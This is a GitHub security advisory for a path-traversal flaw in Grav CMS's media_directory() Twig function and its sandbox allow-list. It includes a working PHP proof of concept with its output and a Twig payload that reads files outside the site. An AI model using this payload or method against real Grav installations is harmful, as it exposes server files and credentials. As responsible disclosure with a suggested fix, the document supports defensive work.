Skip to content

Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content

High severity GitHub Reviewed Published Aug 10, 2026 in getgrav/grav • Updated Sep 17, 2026

Package

composer getgrav/grav (Composer)

Affected versions

<= 2.0.15

Patched versions

2.0.16

Description

Summary

The media_directory() Twig function is allow-listed for use in sandboxed, editor-authored page content (system/config/security.yaml). Its implementation, GravExtension::mediaDirFunc(), only treats the input as unsafe when it looks like a Grav stream (user://, theme://, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to new Media($media_dir), which lists every file in that directory whose extension matches a configured media type (which by default includes txt, json, xml, pdf, doc, docx, and more, not just images) and builds Medium objects for them.

Separately, the sandbox's own allow-list for the Medium class includes the filepath accessor. A code comment directly above that allow-list entry states the developers' intent was for filepath to be part of the "dangerous surface" that "stays blocked", but it is listed as an allowed method on the very same line, contradicting that stated intent.

Combined, a user who can enter page content that gets processed as Twig (process.twig: true in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in processPage()) can point media_directory() at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.

Affected product and version

Product: Grav CMS, getgrav/grav
Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3

Affected code

system/src/Grav/Common/Twig/Extension/GravExtension.php, mediaDirFunc():

public function mediaDirFunc($media_dir)
{
    /** @var UniformResourceLocator $locator */
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

There is no check that $media_dir, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.

system/src/Grav/Common/Page/Media.php, init(), called from the constructor:

protected function init()
{
    $path = $this->getPath();

    // Handle special cases where page doesn't exist in filesystem.
    if (!$path || !is_dir($path)) {
        return;
    }
    ...
    $iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS);

    foreach ($iterator as $file => $info) {
        ...
        [$basename, $ext, $type, $extra] = $this->getFileParts($filename);
        if (!in_array(strtolower((string) $ext), $media_types, true)) {
            continue;
        }
        ...
    }

$path here is whatever was passed to the Media constructor, the raw, unvalidated string from mediaDirFunc().

system/config/security.yaml, the Medium sandbox allow-list and the comment directly above it:

    # ...
    # dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is
    # absent from ALLOWED_ACTIONS and stays blocked.
    - class: 'Grav\Common\Page\Medium\Medium'
      methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions'

filepath is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.

media_directory in the sandbox's function allow-list:

    - media_directory

Root cause

Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files":

  1. mediaDirFunc()'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path.
  2. Once a Medium object exists for a file outside any intended scope, the sandbox still hands page content the filepath accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.

Proof of concept, verified, real output

I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own composer.lock pins for every class involved: getgrav/grav itself, rockettheme/toolbox (for UniformResourceLocator::isStream()), pimple/pimple (the DI container Grav\Common\Grav extends), and psr/container.

Step 1, confirm the pinned commits used:

$ python3 -c "
import json
d = json.load(open('composer.lock'))
for name in ('rockettheme/toolbox','pimple/pimple','psr/container'):
    for pkg in d['packages']:
        if pkg['name'] == name:
            print(name, pkg['source']['reference'])
"
rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d
pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce
psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963

Step 2, clone each at that exact commit:

$ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d
$ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce
$ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963

Step 3, PoC script. It registers a real Grav container (the actual class, not a stub) with a real UniformResourceLocator that only has user/image streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified Grav\Common\Page\Media class exactly the way mediaDirFunc() does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway /tmp directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, /etc, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc):

<?php
// media_traversal_poc.php
spl_autoload_register(function ($class) {
    if (strpos($class, 'Grav\\') === 0) {
        $rel = str_replace('Grav\\', '', $class);
        $path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) {
        $rel = str_replace('RocketTheme\\Toolbox\\', '', $class);
        $parts = explode('\\', $rel);
        $top = array_shift($parts);
        $path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'Pimple\\') === 0) {
        $rel = str_replace('Pimple\\', '', $class);
        $path = '/home/claude/Pimple/src/Pimple/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'Psr\\Container\\') === 0) {
        $rel = str_replace('Psr\\Container\\', '', $class);
        $path = '/home/claude/container/src/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
});

use Grav\Common\Grav;
use Grav\Common\Page\Media;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

// Minimal stand-ins for Config/Pages, only the specific methods the real
// Media/MediumFactory/Medium classes actually call. Everything downstream
// of these calls is the real, unmodified Grav source under test.
class FakeConfig {
    private $mediaTypes;
    public function __construct() {
        $this->mediaTypes = array_fill_keys(
            ['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'],
            ['type' => 'file', 'mime' => 'application/octet-stream']
        );
        $this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg'];
        $this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png'];
    }
    public function get($key, $default = null) {
        if ($key === 'system.media.enable_media_timestamp') return false;
        if ($key === 'media.types') return $this->mediaTypes;
        if (strpos($key, 'media.types.') === 0) {
            $ext = substr($key, strlen('media.types.'));
            return $this->mediaTypes[$ext] ?? $default;
        }
        return $default;
    }
}
class FakePages {
    public function get($path) { return null; }
}

$locator = new UniformResourceLocator('/home/claude/grav');
$locator->addPath('user', '', ['user']);
$locator->addPath('image', '', ['user/images']);

$grav = new Grav([
    'locator' => function () use ($locator) { return $locator; },
    'config'  => function () { return new FakeConfig(); },
    'pages'   => function () { return new FakePages(); },
]);
$ref = new ReflectionClass(Grav::class);
$prop = $ref->getProperty('instance');
$prop->setAccessible(true);
$prop->setValue(null, $grav);

// Stand-in for "somewhere outside the intended scope". Using /tmp so the
// PoC is safe to run here, the mechanism is identical for /etc or any
// other web-server-readable path.
$target = '/tmp/outside-grav-webroot-demo';
@mkdir($target);
file_put_contents($target . '/secret-notes.txt', "internal notes, not meant to be public\n");
file_put_contents($target . '/config-snippet.json', '{"api_key":"REDACTED-EXAMPLE-abc123"}');
file_put_contents($target . '/random.bin', random_bytes(16)); // not a recognized media type

echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n";
echo "Target directory: $target\n";
echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";

// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().
if ($locator->isStream($target)) {
    $resolved = $locator->findResource($target);
} else {
    $resolved = $target; // the vulnerable fallthrough
}

$media = new Media($resolved);

echo "Files Media discovered in that directory:\n";
foreach ($media->all() as $filename => $medium) {
    echo "  - $filename (" . get_class($medium) . ")\n";
    // filepath is allow-listed for Medium in the real sandbox config.
    echo "      .filepath  => " . $medium->get('filepath') . "\n";
    echo "      file content (read from that path):\n";
    echo "      \"" . trim((string) @file_get_contents($medium->get('filepath'))) . "\"\n\n";
}

Step 4, run it:

$ php media_traversal_poc.php

Actual output:

=== Grav\Common\Page\Media, real unmodified source, given a plain filesystem path ===
Target directory: /tmp/outside-grav-webroot-demo
Is it registered as a Grav stream? no

Files Media discovered in that directory:
  - config-snippet.json (Grav\Common\Page\Medium\Medium)
      .filepath  => /tmp/outside-grav-webroot-demo/config-snippet.json
      file content (read from that path):
      "{"api_key":"REDACTED-EXAMPLE-abc123"}"

  - secret-notes.txt (Grav\Common\Page\Medium\Medium)
      .filepath  => /tmp/outside-grav-webroot-demo/secret-notes.txt
      file content (read from that path):
      "internal notes, not meant to be public"

random.bin is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default media.types list (txt, json, ...), not because of anything I loosened in the stub.

This is the equivalent of a real page containing {{ media_directory('/etc').files }} (or any other path outside the site) being able to enumerate and, via .filepath on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.

Impact

Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with process.twig: true, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (txt, json, xml, pdf, doc, docx, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the user:///theme:// scope the sandbox is meant to constrain content authors to.

Suggested fix

In mediaDirFunc(), when $media_dir is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with realpath() that the result is contained within an explicitly allowed root (for example user://) before constructing Media. Separately, resolve the contradiction in system/config/security.yaml, either remove filepath from the Medium allow-list to match the stated intent in the comment above it, or, if some sandboxed use of filepath is genuinely needed, scope it so it cannot be combined with an unbounded media_directory() to reach arbitrary paths.

===========================================================
CWE FIELD

CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

===========================================================
CVSS CALCULATOR SELECTIONS (v3.1)

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: None
Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Resulting score: 6.5, severity Medium

Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own system/site/theme config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".

===========================================================
SEVERITY FIELD

Moderate, possibly High, see note above

References

@rhukster rhukster published to getgrav/grav Aug 10, 2026
Published to the GitHub Advisory Database Sep 17, 2026
Reviewed Sep 17, 2026
Last updated Sep 17, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(30th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-72697

GHSA ID

GHSA-47ch-6w46-6xm7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.